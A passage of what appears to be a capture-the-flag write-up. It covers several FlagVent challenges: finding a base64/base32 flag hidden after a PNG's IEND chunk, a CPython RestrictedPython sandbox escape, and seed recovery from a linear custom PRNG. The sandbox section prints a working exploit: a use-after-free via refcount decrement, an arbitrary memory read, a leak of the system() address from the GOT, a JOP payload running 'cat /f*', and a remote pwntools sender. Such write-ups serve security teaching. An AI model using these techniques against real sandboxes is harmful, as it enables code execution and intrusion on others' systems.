-rwxr-xr-x. 1 www-data www-data  220 Dec  7 21:25 last.gif
-rwxr-xr-x. 1 www-data www-data  668 Dec  7 21:25 linux.png
-rwxr-xr-x. 1 www-data www-data 1737 Dec  7 21:25 load.gif
-rwxr-xr-x. 1 www-data www-data  827 Dec  7 21:25 load.png
-rwxr-xr-x. 1 www-data www-data  615 Dec  7 21:25 magnifier.png
-rwxr-xr-x. 1 www-data www-data  385 Dec  7 21:25 music.png
-rwxr-xr-x. 1 www-data www-data  185 Dec  7 21:25 next.gif
-rwxr-xr-x. 1 www-data www-data  591 Dec  7 21:25 pdf.png
-rwxr-xr-x. 1 www-data www-data  538 Dec  7 21:25 php.png
-rwxr-xr-x. 1 www-data www-data  663 Dec  7 21:25 picture.png
-rwxr-xr-x. 1 www-data www-data  588 Dec  7 21:25 ppt.png
-rwxr-xr-x. 1 www-data www-data  186 Dec  7 21:25 prev.gif
-rwxr-xr-x. 1 www-data www-data  856 Dec  7 21:25 psd.png
-rwxr-xr-x. 1 www-data www-data  626 Dec  7 21:25 ruby.png
-rwxr-xr-x. 1 www-data www-data  859 Dec  7 21:25 script.png
-rwxr-xr-x. 1 www-data www-data 2530 Dec  7 21:25 spinner.gif
-rwxr-xr-x. 1 www-data www-data  342 Dec  7 21:25 txt.png
-rwxr-xr-x. 1 www-data www-data  663 Dec  7 21:25 xls.png
-rwxr-xr-x. 1 www-data www-data  386 Dec  7 21:25 zip.png

I can hash the files from GitHub, and save those into a file on the NAS:

www-data@web:/var/www/web/jquery/jqueryFileTree/images$ echo "fc517da02d6a64a68e5fea9a5de472f1  application.png
> c65fadae5a0fc27f401f1a00e66f518f  code.png
> 783f5b06082bf73e9d1eaf79d838162f  css.png
> 03e2b564224bfb58ff20904bda244043  db.png
> fcd5512c951865b02be8551c4d799217  directory-lock.png
> fbd3929a893b147ae0940d48d533e023  directory.png
> 38af291953d5b90b0aee30dd0d2126a4  doc.png
> f822fb1349f527ef282750670b893674  file-lock.png
> a3112ba7e266938321394347e2a6e107  file.png
> 5ad12582e3ca901894737c3dd44a5eb2  film.png
> 132a505684e7b7b91f50ea29c072112b  flash.png
> bf30d89d69dddfbd8e5f805a199c407f  folder_open.png
> d25541e08a5f57c04e3ecfddbcf7f82e  from_target.txt
> 12ace1a918403049a6d2fc152f53baec  html.png
> ac467ef8defc620b6b5eb80d2047bcb7  java.png
> 73c25b185fb78cc690675cd4a181ee0b  linux.png
> bd2244ac282a5ada48b0d79cacc59426  music.png
> 5ee15843554004d12736f0404f8d443a  pdf.png
> 48cda2a2a54a31f7a666547c862c12e7  php.png
> d2040c34ba1ffd8fa5b72ab37be11eca  picture.png
> 8c366c11adee3cf2988614df4c96782b  ppt.png
> 787a96924e9b114e75f48b540ff480a2  psd.png
> 661505d2efc05b2347492e4949f564d5  ruby.png
> 13ad2158a4889c26a851f99b261e4c5c  script.png
> 9a8269421303631316be4ab5e34870e1  spinner.gif
> 0da66bdb013f9a9d12ce7219e642bc25  txt.png
> 7363cb7630d1d4b441183345fd15ae62  xls.png
> 2eba6780fc7d3663bc44808480c6bd8a  zip.png" > md5s

Now md5sum will show any files that aren’t here:

www-data@web:/var/www/web/jquery/jqueryFileTree/images$ md5sum -c md5s 
application.png: OK
code.png: OK
css.png: OK
db.png: OK
md5sum: directory-lock.png: No such file or directory
directory-lock.png: FAILED open or read
directory.png: OK
doc.png: OK
md5sum: file-lock.png: No such file or directory
file-lock.png: FAILED open or read
file.png: OK
film.png: OK
flash.png: OK
folder_open.png: OK
md5sum: from_target.txt: No such file or directory
from_target.txt: FAILED open or read
html.png: OK
java.png: OK
linux.png: OK
music.png: OK
pdf.png: OK
php.png: OK
picture.png: FAILED
ppt.png: OK
psd.png: OK
ruby.png: OK
script.png: OK
spinner.gif: OK
txt.png: OK
xls.png: OK
zip.png: OK
md5sum: WARNING: 3 listed files could not be read
md5sum: WARNING: 1 computed checksum did NOT match

Three files are present on Santa’s old NAS that aren’t present in the repo. More interestingly, there’s one file that failed the integrity check, picture.png.

I can download these files. exiftool shows a warning for picture.png:

oxdf@hacky$ exiftool picture.png 
ExifTool Version Number         : 12.76
File Name                       : picture.png
Directory                       : .
File Size                       : 663 bytes
File Modification Date/Time     : 2025:12:07 21:25:26+00:00
File Access Date/Time           : 2025:12:21 22:34:19+00:00
File Inode Change Date/Time     : 2025:12:21 22:34:05+00:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 16
Image Height                    : 16
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Gamma                           : 2.2222
Software                        : Adobe ImageReady
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 16x16
Megapixels                      : 0.000256

“Trailer data after PNG IEND chunk”. Looking at the end of the file, there’s some base64-encoded data:

oxdf@hacky$ xxd picture.png | tail
00000200: c345 e6a3 a42f 99e7 3ec6 0072 455e 7d5e  .E.../..>..rE^}^
00000210: c5e7 556c 6dfa 8a3c 0e98 9825 d244 bb95  ..Ulm..<...%.D..
00000220: 7b63 0f40 e42f 2a9c ef4b 8f9d 2b88 2309  {c.@./*..K..+.#.
00000230: 3d40 2996 77ef 571a 7385 0f33 ff33 9c71  =@).w.W.s..3.3.q
00000240: 0489 e12d 805c 779c ff00 066f da93 af15  ...-.\w....o....
00000250: c4bf 0000 0000 4945 4e44 ae42 6082 5356  ......IEND.B`.SV
00000260: 704d 5245 564f 5444 4e4e 546c 5649 5255  pMREVOTDNNTlVIRU
00000270: 314b 566b 3953 5631 524a 546b 7333 5456  1KVk9SV1RJTks3TV
00000280: 6c5a 5631 6c4e 4d6a 6450 556c 7045 5230  lZV1lNMjdPUlpER0
00000290: 307a 4e51 3d3d 0a                        0zNQ==.

It decodes to a string of all caps and digits:

oxdf@hacky$ strings picture.png | grep SVpM | base64 -d
IZLDENL3MNUHEMJVORWTINK7MYYWYM27ORZDGM35

Taking a guess that it might be base32 decodes it:

oxdf@hacky$ strings picture.png | grep SVpM | base64 -d | base32 -d
FV25{chr15tm45_f1l3_tr33}

Flag: FV25{chr15tm45_f1l3_tr33}

FV25.11

Challenge

FV25.11 - Funny Snek

Surely respy will protect us against off by one, right? hint: using both bytes and bytearray is recommended. hint: arbitrary python objects are nice, but not necessary to solve the challenge. the “intended” solution involves JOP once you control rip.

Categories: pwnPWN jailJAIL
Level: hard
Author: xtea418
Attachments:
📦 funny-snek.tar.gz
Spawnable Instance: TCPTCP

The archive has the code for a Docker container running a Python program with custom libraries:

oxdf@hacky$ tar tf funny-snek.tar.gz 
funny-snek/
funny-snek/Dockerfile
funny-snek/libpython3.13.so.1.0.debug
funny-snek/python3.13
funny-snek/compose.yaml
funny-snek/mod.so
funny-snek/setup.sh
funny-snek/.clangd
funny-snek/libm.so.6
funny-snek/.gitignore
funny-snek/README.md
funny-snek/main.py
funny-snek/libc.so.6
funny-snek/ld-linux-x86-64.so.2
funny-snek/ld-linux-x86-64.so.2.debug
funny-snek/libm.so.6.debug
funny-snek/flag.txt
funny-snek/solve.py
funny-snek/libc.so.6.debug
funny-snek/mod.c
funny-snek/python3.13.debug
funny-snek/Makefile
funny-snek/libpython3.13.so.1.0

Connecting to the port just hangs:

oxdf@hacky$ ncat --ssl 0fc4a139-9286-4ef6-9c4f-173989dabfe2.challs.flagvent.org 31337

Reversing

main.py

The server reads Python code line by line until it sees # EOF, then executes it in a RestrictedPython sandbox:

import mod
from RestrictedPython import compile_restricted, safe_globals

exec_globals = {
    **safe_globals,
    "bytearray": bytearray,
    "mod": mod,
}

code = ""
while (line := input()) != "# EOF":
    code += line + "\n"

code = compile_restricted(code, '<string>', 'exec')
exec(code, exec_globals, exec_loc)

By limiting the globals, the sandbox restricts what the executed code can access. The code only has access to what’s explicitly provided: safe_globals (a limited set of builtins that includes very basic things like bytes, int, id, str, but excludes print, open, eval, exec, __import__, etc.), plus bytearray and the custom mod module.

>>> from RestrictedPython import safe_globals
>>> safe_globals
{'__builtins__': {'__build_class__': <built-in function __build_class__>, 'None': None, 'False': False, 'True': True, 'abs': <built-in function abs>, 'bool': <class 'bool'>, 'bytes': <class 'bytes'>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'complex': <class 'complex'>, 'divmod': <built-in function divmod>, 'float': <class 'float'>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'int': <class 'int'>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'len': <built-in function len>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'range': <class 'range'>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'sorted': <built-in function sorted>, 'str': <class 'str'>, 'tuple': <class 'tuple'>, 'zip': <class 'zip'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BaseException': <class 'BaseException'>, 'BufferError': <class 'BufferError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EOFError': <class 'EOFError'>, 'EnvironmentError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'FloatingPointError': <class 'FloatingPointError'>, 'FutureWarning': <class 'FutureWarning'>, 'GeneratorExit': <class 'GeneratorExit'>, 'IOError': <class 'OSError'>, 'ImportError': <class 'ImportError'>, 'ImportWarning': <class 'ImportWarning'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'OSError': <class 'OSError'>, 'OverflowError': <class 'OverflowError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'SystemError': <class 'SystemError'>, 'SystemExit': <class 'SystemExit'>, 'TabError': <class 'TabError'>, 'TypeError': <class 'TypeError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'setattr': <function guarded_setattr at 0x792925cd1940>, 'delattr': <function guarded_delattr at 0x792925cd1d00>, '_getattr_': <function safer_getattr at 0x792925cd1da0>}}

mod

The custom module mod.so exposes a single function (from the nm man page uppercase letters are externally available, T means in the text section, U is from another library, and B is from the BSS data section, typically uninitialized data):

oxdf@hacky$ nm -D funny-snek/mod.so 
0000000000004130 B abused
                 w __cxa_finalize@GLIBC_2.2.5
                 w __gmon_start__
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 U PyArg_ParseTuple
                 U PyErr_NewException
                 U PyErr_SetString
                 U PyExc_ImportError
00000000000012c0 T PyInit_mod
                 U PyModule_AddObjectRef
                 U PyModuleDef_Init
                 U _Py_NoneStruct
                 U __stack_chk_fail@GLIBC_2.4

The source for mod.so, mod.c, shows an interesting function mod_funny:

static PyObject *mod_funny(PyObject *self, PyObject *args) {
  PyObject *obj;
  if (!PyArg_ParseTuple(args, "O", &obj))
    return NULL;
  if (abused) {
    PyErr_SetString(ModError, "git gud");
    return NULL;
  }
  obj->ob_refcnt--;  // OFF BY ONE: decrements refcount
  abused = 1;        // Can only be called once
  Py_INCREF(Py_None);
  return Py_None;
}

mod.funny(obj) decrements an object’s reference count by 1 without any validation, but can only be called once. After the first call, it will throw an error.

RestrictedPython Constraints

RestrictedPython blocks many operations that would normally be available:

  • for loops (requires _getiter_)
  • Bracket indexing obj[i] (requires _getitem_)
  • print() (requires _print_)
  • += operator (requires _inplacevar_)

However, some useful operations are still available:

b = bytes(victim)                    # Convert bytearray to bytes
val = int.from_bytes(b, 'little')    # Convert to integer
victim.clear()                       # Clear existing data
victim.extend(b"payload")            # Write new data
addr = id(obj)                       # Get object's memory address

Python Object Layout

To exploit this use after free (UAF) vulnerability, I’ll need to understand how Python objects are laid out, specially Python bytes strings and a bytearray.

Python bytes are immutable and the data is stored inline:

Offset  Field
0       ob_refcnt
8       ob_type (pointer to PyBytes_Type)
16      ob_size
24      ob_shash (cached hash)
32      ob_sval[] (inline data - INSIDE the object)

A bytearray is mutable, and the data is stored separately with a pointer:

Offset  Field
0       ob_refcnt
8       ob_type (pointer to PyByteArray_Type)
16      ob_size
24      ob_alloc
32      ob_bytes (POINTER to separate data buffer)
40      ob_start
48      ob_exports

The key difference: bytes stores data inline after the header, while bytearray stores a pointer to a separate data buffer.

Exploit

Use-After-Free

The exploit uses the size difference between bytes and bytearray to create an overlap:

  • bytes(600) allocates 632 bytes total (32-byte header + 600 data inline)
  • bytearray(632) has a 56-byte header and a separate 632-byte data buffer

If I free a bytes(600) object and immediately allocate bytearray(632), the bytearray’s DATA buffer lands where the bytes object was:

victim = bytes(600)    # 632 bytes total
mod.funny(victim)      # Decrement refcount, freed!
over = bytearray(632)  # over's data buffer overlaps victim's memory

Now over’s data buffer occupies the same memory where victim lived. I can demonstrate this in a Python REPL:

oxdf@hacky$ docker build -t funny-snek funny-snek/
...[snip]...
oxdf@hacky$ docker run -it --entrypoint /bin/sh funny-snek
/chal # ./ld-linux-x86-64.so.2 --library-path /chal ./python3.13
Python 3.13.7 (main, Aug 15 2025, 12:34:02) [GCC 15.2.1 20250813] on linux
Type "help", "copyright", "credits" or "license" for more information.
warning: can't use pyrepl: libffi.so.8: cannot open shared object file: No such file or directory
>>> import mod      
>>> victim = bytes(600)
>>> mod.funny(victim)
>>> over = bytearray(632)
>>> import struct
>>> hdr = struct.pack('<QQQq', 1, id(bytes), 8, -1) + b'HELLO!!!'
>>> over[:40] = hdr
>>> victim
b'HELLO!!!'

I’ll write back the bytes header so that I can access victim which I just overwrote via over.

Arbitrary Read Primitive

If instead of writing a header for bytes, I write a header for bytearray, I’ll be able to read any address because I control the pointer. By crafting a fake bytearray header in over, I can make victim read from any address. To demonstrate, I’ll create an object to read:

>>> target = b'please read me'
>>> type(target)
<class 'bytes'>

Now I’ll create a fake header. id(target) gives the address of the header for that object.

>>> temp_hdr = struct.pack('<QQQQQQQ',
...     1,                # ob_refcnt
...     id(bytearray),    # ob_type
...     len(target) + 32, # ob_size including header
...     0x100,            # ob_alloc
...     id(target),       # ob_bytes
...     id(target),       # ob_start
...     0                 # ob_exports
... )
>>> over.clear()
>>> over.extend(temp_hdr)
>>> over.extend(b"\x00" * 576)
>>> victim[:32]
bytearray(b'\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x01\xa4?\x1ev\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00<JP\xe6\xd9\xe0\xde\xa3')
>>> bytes(victim[32:])
b'please read me'

I’m able to read the memory at target without referencing target, just knowing the address.

Calculating system Address

To use JOP (jump-oriented programming), I’m going to need the address of system, which I can get from libpython’s GOT. First I need to calculate the libpython base address:

oxdf@hacky$ nm -D funny-snek/libpython3.13.so.1.0 | grep PyByteArray_Type
00000000004ed8e0 D PyByteArray_Type

That means I can calculate pyBase using:

pyBase = id(bytearray) - 0x4ed8e0

objdump can show the offset to system in the GOT within libpython:

oxdf@hacky$ objdump -R funny-snek/libpython3.13.so.1.0 | grep system
00000000004b20d0 R_X86_64_GLOB_DAT  system@GLIBC_2.2.5

Now I can calculate the GOT address of system:

systemGot = pyBase + 0x4b20d0

Once I have that, I can use the arbitrary read above to read the actual address of system pointed at in the GOT.

JOP (Jump-Oriented Programming)

When Python calls len(obj), it follows the type’s function pointers:

len(obj) -> obj->ob_type->tp_as_sequence->sq_length(obj)

If I create a fake type where sq_length = system, then:

len(victim) -> system(victim)

Since victim points to over’s data buffer, if I put a command string at the start of that buffer, system() executes it.

To make this work, I need to build fake PyTypeObject and PySequenceMethods structures that victim will reference. These fake structures must be at known addresses, which is why I first leak over_data - the address of over’s data buffer. To get this, I use the arbitrary read to get the address of the over data buffer. I’ll use that to calculate where my fake structures will be in memory and set up the pointer chain.

I’ll find the offset for tp_as_sequence from the Python source:

typedef struct _typeobject {
    PyObject_VAR_HEAD               // 0-24 bytes
    const char *tp_name;            // +24
    Py_ssize_t tp_basicsize;        // +32
    Py_ssize_t tp_itemsize;         // +40
    destructor tp_dealloc;          // +48
    Py_ssize_t tp_vectorcall_offset; // +56
    getattrfunc tp_getattr;         // +64
    setattrfunc tp_setattr;         // +72
    PyAsyncMethods *tp_as_async;    // +80
    reprfunc tp_repr;               // +88
    PyNumberMethods *tp_as_number;  // +96
    PySequenceMethods *tp_as_sequence; // +104  <-- TARGET
    // ...
} PyTypeObject;

And from abstract.h, sq_length is the first field in PySequenceMethods (offset 0).

Now I can build the memory layout in over’s data buffer (632 bytes total):

Offset 0-7:     Command string (also serves as ob_refcnt)
Offset 8-15:    ob_type -> points to fake_type_addr (over_data + 200)
Offset 16-55:   Rest of fake bytearray header
Offset 56-199:  Padding
Offset 200-399: Fake PyTypeObject (tp_as_sequence at +104 = over_data + 400)
Offset 400-407: Fake PySequenceMethods.sq_length = system address
Offset 408-631: Padding

When len(victim) is called, Python follows: victim->ob_type (offset 8, points to offset 200) → tp_as_sequence (+104 from there = offset 304, value points to offset 400) → sq_length (offset 400, contains system address) → calls system(victim) where victim starts with my command string.

There is an issue with the refcount being incremented. Python increments ob_refcnt when accessing an object. Since the command string is at offset 0 (same as ob_refcnt), the first byte gets incremented. That means I’ll need to put a value one less than desired in the first byte of my command string:

payload.extend(b"bat /f*\x00")  # 'b' (0x62) becomes 'c' (0x63) = "cat /f*"

Final Exploit

Putting that all together, I’ll write the following code that will run in the restricted environment and access the flag:

pyBase = id(bytearray) - 0x4ed8e0
systemGot = pyBase + 0x4b20d0

victim = bytes(600)
mod.funny(victim)
over = bytearray(632)
over_addr = id(over)

# Leak over's data address
temp_hdr = (
    (1).to_bytes(8, "little") +
    id(bytearray).to_bytes(8, "little") +
    (8).to_bytes(8, "little") +
    (0x100).to_bytes(8, "little") +
    (over_addr + 32).to_bytes(8, "little") +
    (over_addr + 32).to_bytes(8, "little") +
    (0).to_bytes(8, "little")
)
over.clear()
over.extend(temp_hdr)
over.extend(b"\x00" * 576)
over_data = int.from_bytes(bytes(victim), "little")

# Leak system()
sys_hdr = (
    (1).to_bytes(8, "little") +
    id(bytearray).to_bytes(8, "little") +
    (8).to_bytes(8, "little") +
    (0x100).to_bytes(8, "little") +
    systemGot.to_bytes(8, "little") +
    systemGot.to_bytes(8, "little") +
    (0).to_bytes(8, "little")
)
over.clear()
over.extend(sys_hdr)
over.extend(b"\x00" * 576)
systemAddr = int.from_bytes(bytes(victim), "little")

# Build JOP payload
fake_type_addr = over_data + 200
fake_seq_addr = over_data + 400

payload = bytearray(632)
payload.clear()
payload.extend(b"bat /f*\x00")  # Command (b->c after refcnt increment)
payload.extend(fake_type_addr.to_bytes(8, "little"))
payload.extend((8).to_bytes(8, "little"))
payload.extend((0x100).to_bytes(8, "little"))
payload.extend(over_data.to_bytes(8, "little"))
payload.extend(over_data.to_bytes(8, "little"))
payload.extend((0).to_bytes(8, "little"))
payload.extend(b"\x00" * 144)
payload.extend(b"\x00" * 104)
payload.extend(fake_seq_addr.to_bytes(8, "little"))
payload.extend(b"\x00" * 88)
payload.extend(systemAddr.to_bytes(8, "little"))
payload.extend(b"\x00" * 224)
over.clear()
over.extend(payload)

length = len(victim)  # Triggers system("cat /f*")

This payload:

  • Calculates pyBase and systemGOT.
  • Creates victim and over.
  • Gets the address of over’s data.
  • Gets the address of system from the GOT.
  • Builds a JOP payload that will run cat /f*

Now I make exploit.py that will read that payload and send it to the server:

from pwn import *

HOST = 'a531f12a-ec02-45c1-9b42-53568808d024.challs.flagvent.org'
with open('payload.py', 'r') as f:
    code = f.read()

r = remote(HOST, 31337, ssl=True)
for line in code.strip().split('\n'):
    r.sendline(line.encode())
r.sendline(b"# EOF")
print(r.recvall(timeout=5))

Running against remote returns the flag:

oxdf@hacky$ python jop_remote.py
[+] Opening connection to ... on port 31337: Done
[+] Receiving all data: Done
b'FV25{pwning_th3_pyth0n_gc_f0r_fun_4nd_pr0fit}\n'

Flag: FV25{pwning_th3_pyth0n_gc_f0r_fun_4nd_pr0fit}

FV25.14

Challenge

FV25.14 - the-prng

warmup chal

Categories: cryptoCRYPTO
Level: hard
Author: xtea418
Attachments:
📦 the-prng.tar.gz
Spawnable Instance: TCPTCP

The archive contains:

oxdf@hacky$ tar tf the-prng.tar.gz
the-prng/
the-prng/Dockerfile
the-prng/compose.yaml
the-prng/chal.py

chal.py

Main Section

The server code is in chal.py. The main section sets a timeout of 30 seconds, and then loops 256 times generating a random seed, seeding a custom pseudo-random number generator, leaking the first 256 bits, and then asking me to provide the seed:

if __name__ == "__main__":
    import signal

    signal.alarm(30)

    for i in range(0x100):
        scheed = os.urandom(30)
        chal = RNG(scheed)
        leek = chal.getrandbits(0x100)
        print(f"{leek = :#x}")
        try:
            lmao = bytes.fromhex(input("gib scheed: "))
            assert lmao == scheed
        except:
            exit("no")
    print(os.environ.get("FLAG", "FV25{local_flag}"))

If I provide the wrong seed, it exits. Otherwise, after 256, it prints the flag.

RNG

The RNG class initializes an h instance using the seed, and then defines _next_block and _generate functions to handle getting a stream of bits:

class RNG:
    def __init__(self, seed: bytes):
        if not seed:
            raise ValueError("no")
        self._key = h(seed)
        self._counter = 0

    def _next_block(self):
        ctr = self._counter.to_bytes(16, "big")
        block = hmac.new(self._key, ctr, digestmod=hash256_new).digest()
        self._counter += 1
        return block

    def _generate(self, nbytes):
        out = bytearray()
        while len(out) < nbytes:
            out.extend(self._next_block())
        return bytes(out[:nbytes])

    def getrandbits(self, n):
        nbytes = (n + 7) // 8
        v = int.from_bytes(self._generate(nbytes), "big")
        return v & ((1 << n) - 1)

    def randrange(self, n):
        k = (n - 1).bit_length()
        while True:
            r = self.getrandbits(k)
            if r < n:
                return r

    def randint(self, a, b):
        return a + self.randrange(b - a + 1)

getrandbits, randrange, and randint use _generate to get the desired format.

h is a function that generates a custom hash:

def h(b: bytes) -> bytes:
    s0 = 0x9F12A3C64D78B2E1
    s1 = 0x4C85E79A132FDB07
    s2 = 0xB7D40E9C58A3F621
    s3 = 0x21E6C8D4FA9037BB
    M = 0xFFFFFFFFFFFFFFFF

    msg = bytearray(b)
    msg.append(0x80)
    while (len(msg) % 32) != 24:
        msg.append(0)
    msg += (len(b) * 8).to_bytes(8, "little")

    for i in range(0, len(msg), 32):
        w0 = int.from_bytes(msg[i + 0 : i + 8], "little")
        w1 = int.from_bytes(msg[i + 8 : i + 16], "little")
        w2 = int.from_bytes(msg[i + 16 : i + 24], "little")
        w3 = int.from_bytes(msg[i + 24 : i + 32], "little")

        s0 ^= w0
        s1 ^= w1
        s2 ^= w2
        s3 ^= w3

        for i in range(5):
            s0 ^= ((s1 << 13) & M) ^ (s2 >> 7)
            s1 ^= ((s2 << 17) & M) ^ (s3 >> 9)
            s2 ^= ((s3 << 29) & M) ^ (s0 >> 11)
            s3 ^= ((s0 << 5) & M) ^ (s1 >> 3)
            s0, s1, s2, s3 = s2 & M, s0 & M, s3 & M, s1 & M

    for j in range(6):
        s0 ^= ((s1 << 9) & M) ^ (s2 >> 7)
        s1 ^= ((s2 << 7) & M) ^ (s3 >> 5)
        s2 ^= ((s3 << 11) & M) ^ (s0 >> 13)
        s3 ^= ((s0 << 3) & M) ^ (s1 >> 17)
        s0, s1, s2, s3 = s3 & M, s2 & M, s1 & M, s0 & M

    return (
        (s0 & M).to_bytes(8, "little")
        + (s1 & M).to_bytes(8, "little")
        + (s2 & M).to_bytes(8, "little")
        + (s3 & M).to_bytes(8, "little")
    )

There’s also a call to hash256_new, which uses H:

class H:
    block_size = 64
    digest_size = 32

    def __init__(self, data=b""):
        self._buf = bytearray()
        if data:
            self.update(data)

    def update(self, data):
        if not data:
            return
        self._buf.extend(data)

    def copy(self):
        c = H()
        c._buf = bytearray(self._buf)
        return c

    def digest(self):
        return h(self._buf)

    def hexdigest(self):
        return h(self._buf).hex()


def hash256_new(data=b""):
    return H(data)

Linearity over GF(2)

Theory

Looking at the custom hash function h(), the only operations are:

  • XOR (^)
  • Bit shifts (<<, >>)
  • Bit masking (& M)
  • State permutation (reordering s0-s3)

There are no S-boxes, no modular addition, no multiplication. All of these operations are linear over GF(2) (the field with two elements where addition is XOR).

A function f is linear over GF(2) if f(a ⊕ b) = f(a) ⊕ f(b). Since XOR is GF(2) addition, bit shifts are linear transformations (moving bits to new positions), and composition of linear functions is linear, the entire hash function is a linear transformation.

Test

I can write a test to check this theory. I’ll copy h and H

import hmac
import os


def h(b: bytes) -> bytes:
...[snip]...

class H:
...[snip]...

def seed_to_output(seed):
    key = h(seed)
    ctr = (0).to_bytes(16, "big")
    return int.from_bytes(
        hmac.new(key, ctr, digestmod=lambda d=b"": H(d)).digest(), "little"
    )


# Test linearity: f(a ⊕ b) ⊕ f(0) = f(a) ⊕ f(b)
f_zero = seed_to_output(bytes(30))

for i in range(10):
    a = os.urandom(30)
    b = os.urandom(30)
    a_xor_b = bytes(x ^ y for x, y in zip(a, b))

    f_a = seed_to_output(a)
    f_b = seed_to_output(b)
    f_a_xor_b = seed_to_output(a_xor_b)

    lhs = f_a ^ f_b
    rhs = f_a_xor_b ^ f_zero

    print(f'Test {i+1}: {"PASS" if lhs == rhs else "FAIL"}')

For 10 runs, it gets two chunks of data, and uses them each as seeds to get random data. Then it XORs the two seeds, and uses that to get random data. This shows that the results are the same:

oxdf@hacky$ uv run test.py
Test 1: PASS
Test 2: PASS
Test 3: PASS
Test 4: PASS
Test 5: PASS
Test 6: PASS
Test 7: PASS
Test 8: PASS
Test 9: PASS
Test 10: PASS

Matrix Attack

Theory

Since the function is linear, I can represent it as a matrix equation over GF(2):

output = A · seed ⊕ bias

Where:

  • seed is a 240-bit vector (unknown)
  • output is a 256-bit vector (the leak)
  • A is a 256×240 matrix over GF(2)
  • bias = f(0) is a constant 256-bit vector

To build the matrix, I use the standard basis vectors - setting each bit position in the seed one at a time. The solution has four functions.

build_matrix

build_matrix probes the function with basis vectors to build the linear transformation matrix:

  • First computes bias = f(0) - the output when the seed is all zeros
  • Then for each of the 240 bit positions in the seed, creates a “basis vector” (a seed with only that one bit set to 1)
  • Computes f(basis_vector) ^ bias to get the column - this isolates the pure linear contribution of that single bit (removing the constant offset)
  • Result: 240 columns, each a 256-bit integer showing how one input bit affects all 256 output bits
def build_matrix():
    print("[*] Computing bias = f(0)...")
    bias = seed_to_output(bytes(30))

    print("[*] Building 256x240 matrix over GF(2)...")
    columns = []
    for bit_index in range(240):
        byte_idx = bit_index // 8
        bit_idx = bit_index % 8

        # Create basis vector e_i
        seed = bytearray(30)
        seed[byte_idx] = 1 << bit_idx

        # Column = f(e_i) ^ bias
        output = seed_to_output(bytes(seed))
        columns.append(output ^ bias)

    return bias, columns

solve_gf2

solve_gf2 performs Gaussian elimination over GF(2) (the field where 1+1=0, i.e., all arithmetic is XOR):

  • Builds an augmented matrix with 256 rows (one per output bit) and 241 columns (240 variable coefficients + 1 target bit)
  • For each column, finds a “pivot” row that has a 1 in that position
  • XORs the pivot row into all other rows that have a 1 in that column - this eliminates that variable from those equations
  • After reaching reduced row echelon form (RREF), each pivot row directly gives one solution bit
  • The solution bit for column i equals the target column value in the corresponding pivot row
def solve_gf2(columns, target):
    n_vars = 240
    n_eqs = 256

    rows = []
    for eq in range(n_eqs):
        row = 0
        for var in range(n_vars):
            if (columns[var] >> eq) & 1:
                row |= (1 << var)
        if (target >> eq) & 1:
            row |= (1 << n_vars)
        rows.append(row)

    pivot_row = 0
    pivot_cols = []

    for col in range(n_vars):
        found = False
        for r in range(pivot_row, n_eqs):
            if (rows[r] >> col) & 1:
                rows[pivot_row], rows[r] = rows[r], rows[pivot_row]
                found = True
                break

        if not found:
            continue

        pivot_cols.append(col)

        for r in range(n_eqs):
            if r != pivot_row and ((rows[r] >> col) & 1):
                rows[r] ^= rows[pivot_row]

        pivot_row += 1

    solution = 0
    for i, col in enumerate(pivot_cols):
        if (rows[i] >> n_vars) & 1: 
            solution |= (1 << col)

    return solution

int_to_seed

int_to_seed converts the 240-bit solution integer back to a 30-byte seed:

  • Maps bit positions to byte positions: bit i goes to byte i//8, bit position i%8 within that byte
  • Uses little-endian bit ordering within each byte
def int_to_seed(value: int) -> bytes:
    """Convert 240-bit integer to 30-byte seed"""
    seed = bytearray(30)
    for i in range(240):
        if (value >> i) & 1:
            seed[i // 8] |= (1 << (i % 8))
    return bytes(seed)

recover_seed

recover_seed is the main entry point that ties everything together:

  • XORs out the bias from the leak: target = leak ^ bias (removes the constant offset so we have a pure linear equation)
  • Calls solve_gf2() to find which combination of basis vector columns XORs to give the target
  • Converts the solution bits back to seed bytes
def recover_seed(leak: int, bias: int, columns: list) -> bytes:
    """Recover seed from leaked output using linear algebra"""
    target = leak ^ bias
    solution = solve_gf2(columns, target)
    return int_to_seed(solution)

Final Solve Script

The final script takes all these parts and adds a main section that handles connecting to the server, getting the bytes, and sending back the seed.

# /// script
# requires-python = ">=3.10"
# dependencies = [
#     "pwntools",
# ]
# ///
